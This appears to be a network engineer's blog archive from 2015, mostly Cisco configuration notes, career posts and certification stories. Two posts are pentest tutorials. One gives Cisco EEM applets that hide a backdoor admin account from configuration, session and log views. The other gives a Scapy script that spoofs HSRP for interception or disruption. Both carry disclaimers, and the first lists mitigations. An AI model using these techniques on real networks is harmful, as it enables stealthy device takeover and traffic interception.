Tuesday, October 6, 2015

Cisco 3850: Wireless Controller/Distributed Config

I've recently had the chance to set up a few WLCs (Wireless Lan Controller) for clients. SiteA is a stack of five 3850 switches. Site B has an MDF of one 3850 and an IDF of one 3850, so I had to set up one MC (Mobility Controller) and one MA (Mobility Agent). They have an interesting wireless design as well - a single WLAN/SSID with vlan assignment by a windows radius server. Let's start with SiteA:


5x 3850 with IPBase licensing (IP-base or IP Services licensing is required to be an MC)
8x 2702i WAPs

First of all, this stack will operate as both an MC and an MA. WAPs can be terminated directly to members of this stack, but we have to keep in mind that a stack is only able to support 50 WAPs. We have nowhere near that at this site, but we have to divvy out licenses manually, and we don't want to put them all on one member, in case that member needs to be rebooted, and we don't want to entirely lose wireless capabilities. So I assigned licenses to member1 and member2 of the stack 25 AP termination licenses. The client has to be aware that all APs must be terminated on those switches to build LWAPP tunnels and support the APs.

Turn this stack into a WLC:
wireless mobility controller
wireless management interface Vlan99
! Note: Have to restart after assigning 

Assign licensing
license right-to-use activate apcount 25 slot 1 acceptEULA
license right-to-use activate apcount 25 slot 2 acceptEULA

Because Cisco IOS doesn't support the concept of DHCP reservations, I built 8 individual DHCP pools, one for each WAP. However, DHCP is a little odd on Cisco IOS. If the mac of the WAP is aaaa.bbbb.cccc, you add a 01+(the mac), like this:
ip dhcp pool WAP1
 client-identifier 01aa.aabb.bbcc.cc

Create a management interface for yourself and the WAPs to dial into:
interface Vlan10
 description mgmt
 ip address

Build aaa so we can use it to assign vlans later: 
radius server radiusServer1
 address ipv4
 key xxxx
radius server radiusServer2
 address ipv4
 key xxxx

aaa new-model
aaa group server radius wlanRadius
 server name radiusServer1
 server name radiusServer2
aaa authentication dot1x vlan_assigned group wlanRadius

Enable dot1x to assign vlans and build my first WLAN
dot1x system-auth-control
wlan Vlan_Assigned
 security dot1x authentication-list vlan_assigned
 no shutdown

Assign ports on switch1 and switch2 as access ports in the management vlan
int range gi 1/0/44 - 1/0/48 , gi 2/0/44 - 2/0/48
 switchport access vlan 10
 switchport mode access

And that's pretty much it. As the WAPs come online, they will pull DHCP from this master switch stack, build an LWAPP tunnel to the core stack, and register with our 3850 WLC/MC.


SiteB is similar in that we have the exact same wlan, but the distribution is a little different. Remember from above, there is an MDF (one AP), and an IDF (5 APs). Now, we could set up each switch as a WLC for their own WAPs, but we'd have to manage them individually, and users would not be able to roam between them. That sounds like a pain. However, there's a better solution. One device still can be a combined MC/MA, and the IDF switch can be only an MA. That means the IDF switch will "check out" licenses from the MDF switch and terminate the LWAPP tunnels on itself, and forward all traffic through yet another tunnel to the MDF switch/MC.

On the MDF switch the configuration for the WLAN, port config, etc. is all the same. There is, however, some extra wireless configuration to build a cluster with the IDF switch.
wireless mobility controller
wireless management interface Vlan10
wireless mobility controller peer-group SiteB
wireless mobility controller peer-group SiteB member ip mode centralized
wireless mobility controller peer-group SiteB member ip
wireless mobility group name SiteB
! Note: After assigning the MC role, the device must be restarted

Let's switch to the IDF switch while the MDF/MC device restarts. Now, this device doesn't have very much config at all. It doesn't control DHCP, WLANs, doesn't require any licensing config, and doesn't do radius auth for wireless. All it really needs is to trunk to the MDF switch, assign WAPs to the same access vlan we have on the MDF switch, and have a little bit of config to check out licenses from the MC.
wireless mobility controller ip
wireless management interface Vlan10


I'd be remiss to not call out the fantastic guides that helped me piece together this configuration and design: http://mrncciew.com/  Several of his specific articles are linked below, and they were invaluable.


Saturday, September 12, 2015

I'm An Engineer (I Think)

I spend a great deal of time thinking about where my career is headed. Am I making the right decisions, what steps are required to get to the 'next level,' etc. It's symptomatic of my age - the late 20-something disease of 'careers are hard.'

How Did I Even Get Here?

I didn't intend to even DO InfoTech. I initially wanted to be a librarian at the college level, but when I did my research and saw that librarians with 25 years of experience made a salary equivalent to an IT member with less than 5, I realized that I had an opportunity.

I'm not one to do something solely for money. Money doesn't keep you warm at night, it's not something to live for, but I grew up without much of it. I realize that money represents more than a shiny new car. It can mean buying lunch each day, not having to worry about rent or a mortgage, or living month to month and desperately hoping that no one gets sick, or the car doesn't break down. Money matters, shallow as that topic sometimes seems.

But Everyone Knows How Computers Work!

I honestly didn't realize that I had what it takes to "make it" in IT. I assumed that everyone grew up with computers, and took electronics apart to see how they worked.

In my mind, computer competency and unquenchable curiosity is akin to literacy - it's something that I'm sure a few folks miss out on, but most people have it, right?

It turns out that most like modern gadgets, but when it comes to building and fixing them, they prefer not to know. It's more comforting to them to believe that some things in their life are just.. magical.

But I prefer to know. I must know. I think that's all that engineering is - curiosity that can't be turned off. Whether it's mechanical, structural, electrical - it just means that this particular group of people aren't satisfied to know that things work. They have to know how and why.

Hard Problems Vs. Wicked Problems

I enjoy the hell out of network engineering. It's fascinating to study the infrastructure in an environment and tweak it to do all the tricks that are required for complex integrations and automatic failover. There are lots of things to learn in this field, but I feel that most of the tasks here have a solution.

I'm drawn to wicked problems. Wicked problems are not just difficult problems, they are problems that likely don't have a good solution. I feel that computer security is one of those problems.

InfoSec Engineers challenge themselves to think of their environment from every angle. After all, threats come at any organization from many directions, and only one path has to be open to a hacker or disgruntled user to create an incident. And the good guys have to defend every single possible angle of attack, a wickedly unfair dynamic that is regardlessly true.

What's Next?

First, I certified in Security+ (one week of study), Certified Ethical Hacker (3 weeks of study), and now I'm studying for the CISSP (aiming to be done in January). I'm also using my free time to pick up programming languages to start building my fluency - Python, Bash, Perl. Structural languages to build functional tools. 

I'm preparing my tool belt for my next step. Let's get to it. 

Thursday, May 21, 2015

CCIE R/Sv5 Failed - And Not Going Back

My post about starting the CCIEv5 journey is here.

Since I passed the CCIE Route/Switch written exam eight months ago, I've been studying at least two hours six days a week. On the weekends I've tried to set aside more time, sometimes a lot more - around six to eight hours of studying. I also work as a network engineer for my day job for a services provider, so I spend lots and lots of time thinking about and actually applying my networking skills.

The more I work with networks, the more comfortable I've become with the subject, and after passing the written exam and putting in study time, I decided to book the grueling 8.5-hour lab exam for May 15 in San Jose, California.

As soon as I booked the exam I amped up my studying. No more lunches out - I'd rather stay at my desk, eat this dry sandwich and run GNS3 simulations on my personal laptop. Sorry I can't stay out very long, I've got to get back to my studying at home.

I set up complex labs from INE in GNS3, sometimes hooking them up to physical switches to run the switch-only features - ASICs, hardware, and VTP configurations that aren't yet possible in a GNS3 virtual environment. The INE materials are fantastic - the troubleshooting sections are devilishly difficult, and the configuration sections remarkably resembled the lab exam.

Studying at this level is more than a commitment or a part-time job - it's a relationship. One which can be significantly rewarding, but also one of deep stress and anxiety as the date for this difficult exam approaches.

Traveling to San Jose, aka Labs on a Plane

I decided to take my wonderfully supportive wife Lindsey along with me to San Jose, the site of my CCIE exam. I thought that no matter my pass or (probable) failure, Lindsey and I could enjoy a great weekend with friends and exploring around California.

Fourteen months after passing the written exam, Lindsey and I boarded a plane. We flew down Wednesday night late, two days before the test on Friday. I ran through INE labs. All day Thursday I set aside for relaxing and not thinking about studying. I managed to stay away from studying with Lindsey's help for all but an hour, during which I read configurations and sweated. We visited the Cisco site and found the exam center.

I fell into a kind of anxious zen. I knew that the test was just around the corner, but I forced myself to think about the 3,000+ hours I've spent studying this material and breathe.

Test Day (Don't Freak Out)

On Friday morning Lindsey drove me in and dropped me off about 20 minutes early. The traffic was light and the weather was cloudy. I felt excited, anxious, and curious for the upcoming exam. After all, I've been thinking about this exam for 14 months!

The exam was, for the most part, incredibly fun. I'm unable to discuss exam specifics due to Cisco's NDA, but I can say the simulations and questions were, for the most part, exactly what the INE and Cisco Press materials had prepared me for. Routing protocols overlapped; complicated, nuanced questions were asked. I enjoyed the test.

Typical question sets have six objectives per segment. Five of these objectives are highly specific, but tasks that most CCIE-level engineers will be able to answer with careful planning. The sixth is typically a highly nuanced and exacting request about the topic in question. Because of the all-or-nothing style of CCIE exams, each section must be passed in full or not at all, so if you're unable to answer this obscure request, you have not only missed out on all points, but you have wasted very valuable time. Planning is of utmost importance here.

The actual environment was similar to what I imagine a white-collar prison is like. One person is able to use the bathroom at a time. All candidates are treated with suspicion and sometimes hostility if they break a rule. For lunch, the proctor clapped at us to stop our configuration and paraded us out of the computer area and locked the door behind us so we could enjoy 20 minutes of some type of pasta.

I kept on-pace as well as I could, and was able to complete most tasks with careful thought and quick typing. At each section, these nuanced, exacting questions were a challenge, and I was able to complete only some of them.

When the time finished up, I walked out, emotionally, mentally, and physically exhausted. I knew there was a very slim chance that I passed, but I allowed myself some hope. I sat on a bench outside the Cisco campus and called my wife to come pick me up.


I spent the rest of the weekend relaxing with my wife and enjoying our time with friends. For the first time in a very long time, I was present with my wife. I wasn't doing any subnetting or route distribution in my head. I saw a bit more clearly the woman I fell in love with, who I'd been more or less ignoring for the past few months as my studying had kicked into high gear.

In the end, I failed. I passed the first section (Troubleshooting), but failed the Diagnostic and Configuration section of the exam. My configuration sections came back as mostly 0%s - I must have broken a lab rule at some point to get all my work zeroed out. Due to Cisco's confidentiality around the exam, they did not inform me which, if any, rule was broken.

To this point I thought I'd take a few days of relaxing at home and then go back. I'm still confident that I could eventually pass the CCIE - I'm guessing on the third attempt. That attempt would be something like 6 months from now, with constant studying (4-5 hours per day on weekdays, maybe 10-12 on weekends), and about $5,000 MORE dollars. Not to mention the 6 more months of ignoring my wife and my other passions due to this behemoth of a goal.

I Choose Me

In the end, I'd rather have my wife, time, and happiness back. I am still passionate about network engineering, but not to the exclusion of the other parts of my ambition and life! I am passionate about computer security, travel, and enjoying the limited time we all have here.

So goodbye, CCIE number ~#50,000. I have learned an incredible amount, and reaped enormous benefits in my career as I've progressed. I appreciate you for all that you've given me, but you ask too much.

Thanks for the good times, Cisco CCIE. I won't be back.
If you are planning to take the CCIE exam, good luck to you! Next for me is the CompTIA Security+, Certified Ethical Hacker, and then CISSP.

Friday, April 24, 2015

BlueCoat Java Application in Chrome - "This Plugin is not Supported"

Recently, Google Chrome was silently updated to version 42.X in most of the world. This version has many security feature upgrades, including one that disables some Java applets silently, despite Java's security panel whitelisting.
Chromium's design team claims that NPAPI applications are now leaders for slow loads and hanging browser sandboxes. Read the full article here.

To fix this issue with BlueCoat's Java, as well as many other Java applications that fail, including SilverLight (Netflix), Google Earth, and Facebook Video (some of which are temporarily whitelisted by Chrome/Chromium because of their popularity), turn the flag on for NPAPI in Chrome's internals, like this:
The flag is at chrome://flags/#enable-npapi .

Simply enable NPAPI, relaunch Chrome and you're back in to your Java applications.

Good luck!

Friday, April 3, 2015

Penetration Testing: How to Hide an Admin User on Cisco IOS (Router/Switch) Platform

Beginning Reminder: This article is written for research and experimentation purposes only. Only ever access devices you have written, legal authorization to access.

Okay, so here's the scenario. You found you way into an elevated command prompt on a Cisco router, and you want to establish a persistent foothold on the device while leaving as few markers as possible. You need to do this with existing code, and you'd like to alter as little as possible. Cisco's EEM is the answer.

Cisco EEM is a programming language built into any modern Cisco IOS switch or router. It allows for all sorts of automatic actions to take place, and it also allows a key feature which we'll exploit here - it can 'catch' a string a user enters and transparently replace it with another string - one which we'll instruct to exclude our 'malicious' pivot code.

Okay, so you're on an exec command line, what's next?

1. Create a user all your own with exec (priv 15) permissions:
! Note: Make sure the username contains the string "hidden", because those are the lines we are hiding from the configuration below
 config t
 username hidden_YourUser priv 15 sec yourPassword1234

2. Install a few EEM functions, which do the following: 
Hide our user and history from any valid admins by proxying valid commands with commands filtered to hide our information.

EEM Code:

! Hides the EEM code from the running config show command 
event manager applet hidden_eemRunningConfig
 event cli pattern "show run" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show run | ex hidden|event|action"
 action 2.0 puts "$_cli_result"

! Hides the EEM code from the startup config show command 
event manager applet hidden_eemStartupConfig
 event cli pattern "show run" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show start | ex hidden|event|action"
 action 2.0 puts "$_cli_result" 

! Hides the bad actor's active VTY (telnet/ssh) session
event manager applet hidden_VTY
 event cli pattern "show users" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show users | ex hidden"
 action 2.0 puts "$_cli_result"

! Hides the bad actor's active SSH session
event manager applet hidden_sshSession
 event cli pattern "show ssh" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show ssh | ex hidden"
 action 2.0 puts "$_cli_result"

! Hides the EEM actions from showing up in local logging via show command
event manager applet hidden_eemLogging
 event cli pattern "show log" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "show log | ex HA_EM|hidden"
 action 2.0 puts "$_cli_result"

! Hides the EEM and new user from showing up in more system:running" command
event manager applet hidden_moreRunning
 event cli pattern "more system:running-config" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "more system:run | ex hidden|event|action"
 action 2.0 puts "$_cli_result"

! Hides the EEM and new user from showing up in more system:start" command
event manager applet hidden_moreStart
 event cli pattern "more system:running-config" sync yes
 action 0.0 cli command "enable"
 action 1.0 cli command "more system:start | ex hidden|event|action"
 action 2.0 puts "$_cli_result"

! Prevents EEM from being debugged, which could catch our malicious EEMs in action
event manager applet hidden_EEMdebug
 event cli pattern "debug event manager" sync yes
 action 0.0 cli command "enable"

Weaknesses of This Method
1. Syslog/external logging - No ability to hide the execution of commands in real-time, so they will be logged to an external server if device set up to do so.
2. All EEM scripts are hidden using this method. If administrators utilize EEM for their admin duties, they may become suspicious that their EEM scripts have disappeared. (thanks to evilgoat for pointing this out!)
3. Config backup. If the tool uses snmp to pull a full config, your new config and user are visible. If the tool is like most tools, and simply uses a service account to programmatically run "show run", your config will stay hidden.
4. The local log of the device will have many hidden lines in its buffer, so it will look short to someone looking closely.
5. If the local log uses line numbers, as recommended by Cisco security best practice (but which is not the default config!), it'll be evident to someone looking closely that lines are missing.

Mitigation for Administrators
1. Syslog, syslog, syslog. First, to catch the immediate changes by frequent synchronization to catch the initial changes. Second, to catch the EEM in action, as it catches the legitimate user's commands and hides itself. Third, to catch any further activity by the bad actor as they perform future activities on the system.

Recommendations for Cisco to Fix This Issue
1. Don't allow aliasing of existing commands. This is messy programming, and allows many opportunities to cripple a router and confuse admins.

Ending Reminder: This article is written for research and experimentation purposes only. Only ever access devices you have written, legal authorization to access.

BlueCoat Prompt For Auth: Facebook/Twitter Integrated Pages

Hey all!

We recently had a ticket come in at work that one of our teams was getting prompted on about half the pages they visit on the internet for their credentials.

This particular group has a business requirement that only a few users are able to access facebook to run social media campaigns and such, but the rest of the users shouldn't be allowed to access facebook.com. Because of this, we have a BlueCoat policy for this group which prompts users when they visit "facebook.com".

This policy works perfectly for www.facebook.com, but it has unintended consequences - any page that Facebook has integrated with in some way has an http request to a facebook page - "static.ak.facebook.com".

Because of how Facebook is building relationships to integrate its services on most of the web, our team was getting prompted on almost every internet page they visited. These integrations look like this - note the right side, where users can login with their facebook credentials.

Using Fiddler http debugger, I watched a couple of these pages call out to Facebook. Each one that sideloads facebook from another page uses a "referer" call-out in the http header request. Here's a header request snapshot of fiddler:

Looks like requests to facebook directly have the same host information, but not a referer, because the request is not a 'sideload' to facebook, it's directly accessing the page. That's our solution!

Each of the 'referer' field is unique to the page that is sideloading facebook, so a simple string match won't do. Thankfully, BlueCoats support regex matching of http header fields, so I can create a fiddler policy to exempt the traffic which has a referer field - any page which is integrated with facebook. The final and working policy looks like this:

Happy filtering!

Monday, January 19, 2015

Simple Python: Pwning (Unauthenticated) HSRP

Hey all,

I'm just starting to learn some scripting in order to hone my skills at pentesting. I've decided to start with Python since it's simple and many pentesting tools are written in it.

This post is about using a Python tool called "Scapy" (link) to pwn HSRP. Scapy is capable of taking user input and generating packets of all varieties. By feeding Scapy the proper input, it can generate an HSRP packet every few seconds and redirect an HSRP VIP to... anywhere, really.

One use case is to redirect HSRP to an invalid IP, paralyzing a local subnet. A more interesting and devious use case is to redirect HSRP to your own local machine, turn on packet forwarding, and suddenly you're a man-in-the-middle (MitM) for everyone on your subnet.

Now, a little background. HSRP is Cisco's VIP (Virtual IP) solution. It's typically used by several routers to share an IP and allow for smooth transition if one of the routers suffers a failure. Routers will multicast on a subnet to in the hopes of reaching neighbors. Routers self-identify their 'priority,' (as well as other VIP qualities) which is a highest-wins integer.

By default, HSRP is authenticated with a simple text string of "cisco". A default authentication string is hardly better than nothing to protect from a bad actor. We'll assume here that HSRP is setup in this way. I'll see if I can tackle simple authenticated (string) or MD5 auth'd later.

NOTE: As with any tool, it can be misused. Only use tools such as this on networks you own or have received explicit, written permission to test on. I recommend using VirtualBox and GNS3 in order to give you a safe environment to play.

1. Start Wireshark (formally Ethereal) and watch the line. Wireshark is able to identify HSRP packets directly - look for Protocol = HSRP. Expand the "Cisco Hot Standby Router Protocol" inner layer and look for several items:
a) Group #
b) Virtual IP Address
c) Priority - Look through a few HSRP packets and find the highest priority. Our spoof packets will need to have a higher priority than what you find, else nothing will occur. My python program later uses 255 (the highest value) later, so this should be a non-issue.
d) Authentication Data (The default string is "cisco". If you see any other string here, you'll need to specify it when generating the HSRP spoofed packets)
e) Hellotime and hold-time
2. Download and install Scapy (if not already) on your Linux distro. It'll depend on your distro, but Debian-based systems can use: sudo yum -y install scapy

3. In a terminal window, create a file in some folder: vi hsrpSpoof.py

4. Check what interfaces you have with ifconfig

5. Paste this program into your new Python file:
print('Python script to redirect HSRP groups without security')

# Import Scapy functions
from scapy.all import *

# Gather information and set to variables
hsrpInterface = raw_input("What is your HSRP interface - note: get from ifconfig")
hsrpGroup = int(raw_input("What is the HSRP Group #?  "))
hsrpIP = raw_input("What is the HSRP Group Virtual IP?  ")
hsrpRepeat = int(raw_input("How often should the spoofed packets be sent (in seconds)?  "))
hsrpPriority = int("255")
hsrpSourceIP = raw_input("What should the source IP be?   ")

ip = IP(src=hsrpSourceIP, dst='')
udp = UDP()
hsrp = HSRP(group=hsrpGroup, priority=hsrpPriority, virtualIP=hsrpIP)
send(ip/udp/hsrp, iface=hsrpInterface, inter=hsrpRepeat, loop=1)

6. Run the program with sudo rights, so it has the ability to generate packets. The program will query you for all the information it requires, and then will start sending spoofed traffic.

Provided you input the correct information, any routers on the same subnet will see the new HSRP player and traffic will start to be redirected to the IP you specified.


Thursday, January 15, 2015

CCIE Route/Switch v5: GNS3 ZBFW, Subnet Overlap, NAT Trickery

Hey all,

This lab features a number of technologies melded together to achieve some cool stuff. In a typical service provider environment a few different partners will connect to a single entity (the provider). That provider is required to not bridge the partner networks in any way (if the provider wants to stay in business, that is). There is often a requirement to avoid simple routing, as subnets will often overlap.

This is assuming the provider hasn't embraced the awesomeness that is VRFs all over their network.

When things don't work right, the network engineer team must prove what connections are made and what aren't, a difficult thing when you can't see the whole picture. Zone-based firewall bridges that gap in spectacular fashion. It allows an engineer to see each and every session that is generated through the device. It allows matching of ACLs for allowed traffic - and here I use the same ACLs to match NAT statements in order to not overlap subnets with the partners.

BGP is also used as an IGP for each of our partners and our core network, but you could just as easily connect with a partner via a single-use IGP (ospf, eigrp, etc.) and then redistribute on both side.

Other cool stuff I didn't even mention:
Prefix lists to match routes
Route-maps applied in and out from the provider to each partner via BGP to only allow in/out selected, required routes (don't want to bleed any routes in or out, do we?).

The lab is built with all c7200 IOS routers in GNS3. Hopefully you can find an IOS in that same family so you can turn it all on.
Download the GNS3 files here and enjoy! http://1drv.ms/1E6eH7A

Good luck!

I Might Be a Felon, and You Could Be, Too!

Inspired by this article in wired, I decided to put down this rant
Pres. Obama will recommend "hacking" be upgraded to a racketeering crime, which means associates of hackers and those which knowingly spread illegal information can be charged with up to 20 years in prison with a felony charge.
This sounds like a good thing, right? Hackers are bad guys. Well, the stuff that I post all the time (on software issues, company data leaks, etc.) falls under this law. If I were ever to come under scrutiny by any gov't entity, they could lean on me with racketeering or hacking charges.
And if you have ever reposted anything I put on here about software vulnerabilities, guess what? You can be charged with felony racketeering. Maybe our prison cells will be close together!
Please, vote against this law if it comes up to that. Exploring and helping fix software does not deserve a felony charge. We cannot continue to persecute our computer security experts and expect to remain a secure country in a globally connected world.
Kyler Middleton, Computer Security Enthusiast and Potential Felon